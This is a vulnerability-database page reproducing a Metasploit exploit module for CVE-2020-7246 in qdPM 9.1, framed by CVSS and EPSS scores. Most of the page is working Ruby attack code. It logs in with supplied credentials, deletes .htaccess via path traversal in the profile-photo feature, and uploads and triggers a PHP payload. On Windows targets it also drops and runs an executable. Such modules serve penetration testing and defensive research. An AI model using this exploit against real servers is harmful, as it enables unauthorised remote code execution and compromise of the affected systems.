Lucene search

K
metasploitRishal Dwivedi (Loginsoft), Leon Trappett (thepcn3rd), Giacomo CasoniMSF:EXPLOIT-MULTI-HTTP-QDPM_AUTHENTICATED_RCE-
HistoryJun 13, 2022 - 3:41 p.m.

qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)

2022-06-1315:41:34
Rishal Dwivedi (Loginsoft), Leon Trappett (thepcn3rd), Giacomo Casoni
www.rapid7.com
77

6.5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.031 Low

EPSS

Percentile

91.0%

A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier. An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal vulnerability in the users[‘photop_preview’] delete photo feature, allowing bypass of .htaccess protection. NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::PhpEXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)',
        'Description' => %q{
          A remote code execution (RCE) vulnerability exists in qdPM 9.1 and earlier.
          An attacker can upload a malicious PHP code file via the profile photo functionality, by leveraging a path traversal
          vulnerability in the users['photop_preview'] delete photo feature, allowing bypass of .htaccess protection.
          NOTE: this issue exists because of an incomplete fix for CVE-2015-3884.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Rishal Dwivedi (Loginsoft)', # Discovery
          'Leon Trappett (thepcn3rd)', # PoC
          'Giacomo Casoni' # Metasploit
        ],
        'References' => [
          ['CVE', '2020-7246'],
          ['EDB', '50175']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => %w[linux php],
        'Targets' => [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
          [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ],
          [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64, 'Platform' => 'win' } ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2020-11-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory where qdPM resides', '/']),
        OptString.new('EMAIL', [true, 'The email to login with']),
        OptString.new('PASSWORD', [true, 'The password to login with'])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    uri = normalize_uri(uri, '/index.php')
    res = send_request_raw({ 'uri' => uri })
    if res.nil?
      return Exploit::CheckCode::Unknown
    end

    login_page = res.get_html_document
    begin
      version_num = login_page.at('div[@class="copyright"]').at('a').text.tr('qdPM ', '').to_f
    rescue StandardError
      return Exploit::CheckCode::Unknown
    end
    version = Rex::Version.new(version_num)
    if version <= Rex::Version.new('9.1')
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def get_write_exec_payload_win(fname, _data)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("C:\\Windows\\System32\\cmd.exe /c #{fname}");
    ?>
    |
    php = php.gsub(/^ {4}/, '').gsub(/\n/, ' ')
    return php
  end

  def login(base, username, password)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{base}/index.php/login"),
      'keep_cookies' => true
    })
    login_page = res.get_html_document
    csrf_token = login_page.at("input[name='login[_csrf_token]']/@value")
    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/login"),
      'vars_post' => {
        'login[email]' => username,
        'login[password]' => password,
        'login[_csrf_token]' => csrf_token
      },
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}/#{base}/index.php/login"
      }
    })
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri("#{base}/index.php/myAccount"),
      'keep_cookies' => true,
      'headers' => {
        'Host' => rhost.to_s
      }
    })
    account_page = res.get_html_document
    begin
      userid = account_page.at("input[@name='users[id]']/@value").text.strip
    rescue StandardError
      print_error('The designated admin account does not have a user ID.')
      return {}
    end
    username = account_page.at("input[@name='users[name]']/@value").text.strip
    csrftoken_ = account_page.at("input[@name='users[_csrf_token]']/@value").text.strip
    opts = {
      'user_id' => userid,
      'name' => username,
      'csrf_token' => csrftoken_
    }
    return opts
  end

  def upload_php(base, opts)
    fname = opts['filename']
    php_payload = opts['data']
    user_id = opts['user_id']
    email = opts['email']
    csrf_token = opts['csrf_token']

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    )

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[photo_preview]', 'data' => '../.htaccess' },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' }
    ]

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    )

    data = [
      { 'name' => 'sf_method', 'data' => 'put' },
      { 'name' => 'users[id]', 'data' => user_id },
      { 'name' => 'users[_csrf_token]', 'data' => csrf_token },
      { 'name' => 'users[new_password]', 'data' => '' },
      { 'name' => 'users[email]', 'data' => email },
      { 'name' => 'extra_fields[9]', 'data' => '' },
      { 'name' => 'users[remove_photo]', 'data' => '1' },
      { 'name' => 'users[photo]', 'data' => php_payload, 'mime_type' => 'application/octet-stream', 'filename' => fname }
    ]

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri("#{base}/index.php/myAccount/update"),
      'vars_form_data' => data,
      'keep_cookies' => true,
      'headers' => {
        'Origin' => "http://#{rhost}",
        'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
      }
    })

    return res.code == 302
  end

  def exec_php(base, _opts)
    res = send_request_cgi({
      'uri' => normalize_uri("#{base}/index.php/myAccount"),
      'keep_cookies' => true
    })
    home_page = res.get_html_document
    backdoor = home_page.at("//input[@name='users[photo_preview]']/@value").text.strip
    register_file_for_cleanup(backdoor)
    send_request_cgi({
      'uri' => normalize_uri("#{base}/uploads/users/#{backdoor}")
    })
  end

  def exploit
    uri = normalize_uri(target_uri.path)
    user = datastore['EMAIL']
    pass = datastore['PASSWORD']
    print_status("Attempt to login with '#{user}:#{pass}'")
    opts = login(uri, user, pass)
    if opts.empty?
      print_error('Login unsuccessful or bad (admin) user')
      return
    end

    php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
    case target['Platform']
    when 'php'
      p = get_write_exec_payload
    when 'linux'
      p = get_write_exec_payload(unlink_self: true)
    when 'win'
      bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
      bin = generate_payload_exe
      p = get_write_exec_payload_win(bin_name.to_s, bin)
      print_warning("#{bin_name} will require manual cleanup")
    end

    print_status("Uploading PHP payload (#{p.length} bytes)...")
    data = {
      'email' => user.to_s,
      'filename' => php_fname,
      'data' => p
    }
    data = data.merge(opts)
    uploader = upload_php(uri, data)
    if !uploader
      print_error('Unable to upload')
      return
    end

    print_status("Executing '#{php_fname}'")
    exec_php(uri, opts)
  end
end

6.5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.031 Low

EPSS

Percentile

91.0%

Related for MSF:EXPLOIT-MULTI-HTTP-QDPM_AUTHENTICATED_RCE-